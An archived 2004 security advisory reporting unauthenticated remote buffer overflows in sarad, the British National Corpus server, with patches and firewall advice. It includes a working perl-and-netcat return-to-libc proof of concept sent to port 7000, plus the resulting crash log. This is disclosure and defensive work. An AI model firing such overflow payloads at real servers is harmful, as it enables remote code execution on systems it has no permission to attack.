exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

sarad.txt

sarad.txt
Posted Aug 24, 2004
Authored by Matthias Bethke

The sarad program used at the British National Corpus is susceptible to multiple buffer overflows. No authentication is required to perform the attack and they are network based.

tags | advisory, overflow
SHA-256 | 3b5dbe5c14fa19bf31747e7ab1ad0dfe738810272c2dbce61216a3114a9177e7

sarad.txt

Change Mirror Download
I have found several buffer overflows in the sarad program used to serve
the British National Corpus (http://www.natcorp.ox.ac.uk/SARA/). At
least one (I didn't check the others too closely) allows execution of
arbitrary code over the network with the rights of the daemon which is
supposed to be a dedicated low-rights account but I have seen to be root
in places. No authentication is required to perform an attack, so the
risk is quite high.

The British National Corpus is used by many linguists for research on
the English language and is licensed commercially by the BNC Consortium.
The server software run on various flavors of Unix and is freely
available in source form from http://www.natcorp.ox.ac.uk/SARA/ while
the client is a Win32 program (apparently, the server can be compiled
for Windows too, but I haven't checked this). The server implements its
own access control system, therefore its port (7000 by default) is
usually not protected by additional measures such as iptables rules.

The bugs are classic examples of buffers on the stack that get copied
into without bounds checking and thus allows overwriting the return
address. The following perl snippet does a return-to-libc on Linux
2.6.7/glibc 2.3.2, logging some garbage by jumping into syslog():

perl -e 'print "SUCK" x 11; print chr foreach(0x90,0xdb,0x14,0x40,0);' \
| netcat victim 7000

The result:
Aug 19 20:50:05 drgonzo sarad[2449]: Connect from huxley.lan
Aug 19 20:50:05 drgonzo sarad[6519]: Client sent string SUCKSUCKSUCKSUCKSUCKSUCKSUCKSUCKSUCKSUCKSUCKÛ@
Aug 19 20:50:05 drgonzo sarad[6519]: syslog: unknown facility/priority: 80e5540
Aug 19 20:50:05 drgonzo sarad[6519]:P^F
Aug 19 20:50:05 drgonzo sarad[2449]: Forked process 6519
Aug 19 20:50:05 drgonzo sarad[2449]: Child pid=6519 was killed with signal 11

Possible solution: patch the source. I fixed the most glaring bugs,
checking array bounds, using strncpy() and snprintf() instead of their
unbounded counterparts, the usual stuff. Actually, even though the last
program version is from 2001, most of the code dates back to the mid-90s
and is a mess that dearly needs rewriting. So I'd suggest not to trust
the builtin access control either, but restrict access to the port as
much as possible using firewalls, iptables or similar measures.

There are two patches available from my homepage: one that should be
suitable for all systems and fixes the abovementioned bugs, and one that
does the same and also lets sarad automatically chroot itself to the
corpus directory and drops rights to a specified account. The latter
will probaby not compile on Windows. So even if there are dangerous
buffer overflows left in the code, which I think is almost certain, you
will not open your entire system to an attacker.
You can get the patches, including fairly simple installation
instructions, from
http://www.linguistik.uni-erlangen.de/~msbethke/binaries/sara-fix.tar.gz
(signature: .../sara-fix.tar.gz.sig)

cheers!
Matthias
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close